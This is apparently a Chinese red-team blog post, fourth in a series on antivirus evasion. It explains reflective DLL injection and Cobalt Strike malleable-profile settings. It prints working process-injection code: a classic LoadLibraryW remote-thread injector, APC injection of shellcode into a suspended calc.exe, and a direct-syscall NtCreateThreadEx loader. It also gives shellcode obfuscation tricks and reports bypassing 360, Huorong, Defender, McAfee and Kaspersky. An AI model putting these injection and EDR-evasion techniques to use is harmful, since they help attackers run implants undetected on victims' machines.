红队开发基础-基础免杀（四）

2022-09-06

字数统计: 1.9k字 | 阅读时长≈ 7分

暂无简介

红队开发基础-基础免杀(四)

引言

本文是《红队开发基础-基础免杀》系列的第四篇文章，主要介绍了“反射型dll注入”及“柔性加载”技术。此外，本篇是对该系列文章的一个总结，利用前面几篇文章的技术相结合，达到了bypass主流edr的效果。

反射型dll注入

为什么需要反射型dll注入

常规的dll注入代码如下：

int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE）GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle); 
return 0;
}

主要做了几件事情：

从磁盘读取dll到wchar_t数组
将该payload数组写入目标内存
在目标内存中找到LoadLibraryW函数
通过CreateRemoteThread调用LoadLibraryW函数，参数为dll在内存中的地址。

这样的操作模式有几个很高危的点。首先，从磁盘读取dll需要考虑dll的静态免杀，对此我们可以直接写在装载器中并加密。其次，在目标内存中找到LoadLibraryW函数，需要GetProcAddress LoadLibraryW，这种调用属于很有特征的调用模式，容易被AV/EDR归类。对此我们的解决措施就是接下来要提及的反射型dll注入技术。最后，CreateRemoteThread进行远程线程注入行为本身就很高危，同时参数是LoadLibraryW的地址，一眼malware。对此我们优化调用，不再使用CreateRemoteThread进而使用创建新进程的方式结合反射型dll注入技术改变dll注入技术的调用模式。

实现思路

早期的dll注入实现原理：

上图比较清楚的写了反射型dll注入的原理，1，2，3步由A向B线程写入dll。第四步调用B线程中的embedded bootstrapper code。最后通过bootstrapper shellcode调用dll的导出函数reflective loader。

reflective loader实际上是一个自己实现的LoadLibraryW函数，从内存中找到我们写入的dll并修复使其成为可以被正常使用的pe文件，最后调用DLLmain实现我们的恶意功能。

我们的具体实现和上面早期的思路有所区别，首先我们不使用远程进程/线程注入的方式，其次我们不需要bootstrapper shellcode这个部分，我们可以直接在加载器部分算出reflective loader在内存中的地址，直接调用即可。

具体实现

主要参考项目https://github.com/Allevon412/ReflectiveDLL_Sektor7

加载器部分

首先shellcode使用AES解密，这部分添加了一些c的代码加密

后来发现原本项目的release目录下有python的加密脚本：

解密载入内存后，使用GetReflectiveLoaderOffset计算出ReflectLoader函数的偏移:

最后创建线程调用ReflectLoader函数。

dll部分

ReflectiveLoader一共做了5件事：

一、解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等),
通过关键函数的hash在内存中搜索，函数hash：

遍历内存进行搜索：

二、将DLL及其相应的节写入内存中：

三、建立DLL导入表，以便DLL可以调用ntdll.dll和kernel32.dll WINAPI

四、修复重定位表：

五、调用DLL的入口点:

最终我们的恶意代码位于dllmain中，项目还是采用加载shellcode的方式上线cs。

柔性加载

限制使用具有RWX标记的内存，cs在4+可以直接进行相关配置。配置文件格式可以参考：https://bigb0sss.github.io/posts/redteam-cobalt-strike-malleable-profile/

原文作者的推荐配置：

set startrwx"false";
set userwx  "false";
set cleanup "true";
set stomppe "true";
set obfuscate   "true";
set sleep_mask  "true";
set smartinject "true";

牛刀小试

360

使用base64+xor混淆shellcode：

成功bypass:

火绒

和上述方法相同:

definder

加强shellcode的混淆：

std::string rest2_reference = "xxx@@";
std::string rest3_reference = replace(rest2_reference, "@@", "==");

依旧报毒，但是类型发生改变了，说明静态的混淆有效果：

异或的操作，比较可疑，经过测试发现是cs的shellcode出现在数组里就报毒，应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意API调用模式”，将shellcode分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:

很神奇，这段并没有实现内存的切片写入，因为shellcode的大小没有达到4096，实际上相当于直接分配了个大小为4096的数组，写入了shellcode。

而且把这段代码相同的格式放外面就不行，个人感觉definder还是没有去检查内存。

可能是有语义分析的引擎，这次刚好绕过了语义分析。

macfee

同上方法可以成功bypass：

正常执行命令：

kasperky Endpoint 11 for windows

用过macfee和definder的demo2测试失败，注释掉代码加载部分不报毒，改用apc和创建进程的的方式加载内存：

SIZE_T shellSize = 4096;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);

依旧不行：

使用syscall调用NtCreateThreadEx。这里被坑了，WaitForSingleObject要使用，不然会异步，没法上线：

ANtCTE(
&hThread,
THREAD_ALL_ACCESS,
NULL,
GetCurrentProcess(),
(LPTHREAD_START_ROUTINE)exec,
NULL,
NULL,
0,
0,
0,
nullptr
);
WaitForSingleObject(hThread, INFINITE);

能看到效果,行为检测依旧有问题: